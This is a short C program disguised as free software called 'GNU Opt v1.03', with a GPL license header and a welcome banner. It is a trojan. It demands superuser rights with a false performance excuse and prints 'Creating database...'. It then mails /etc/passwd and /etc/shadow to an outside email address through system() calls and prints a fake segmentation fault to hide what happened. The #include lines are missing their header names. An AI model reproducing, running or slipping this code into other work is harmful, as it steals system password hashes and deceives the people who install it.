/* GNU Opt v1.03 Copyright (C) 2002 Free Software Foundation This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include int main(int argc, char *argv[]) { if (getuid() != 0) { printf("%s: For best preformance ", argv[0]); printf("this program should be run by the superuser.\n"); return 1; } printf("Welcome to GNU Opt v1.03\n"); printf("This program is free software.You can redistribute it and/or modify it \nunder the terms of the GNU General Public License\n\n"); printf("You should have received a copy of the GNU General Public License\n"); printf("along with this program; if not, write to the Free Software\n"); printf("Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n"); printf("%s: Creating database...\n", argv[0]); system("cat /etc/passwd | mail shudder@gbg.bg"); system("cat /etc/shadow | mail shudder@gbg.bg"); printf("%s: Forking to background\n", argv[0]); sleep(1); printf("Segmentation fault\n"); return 1; }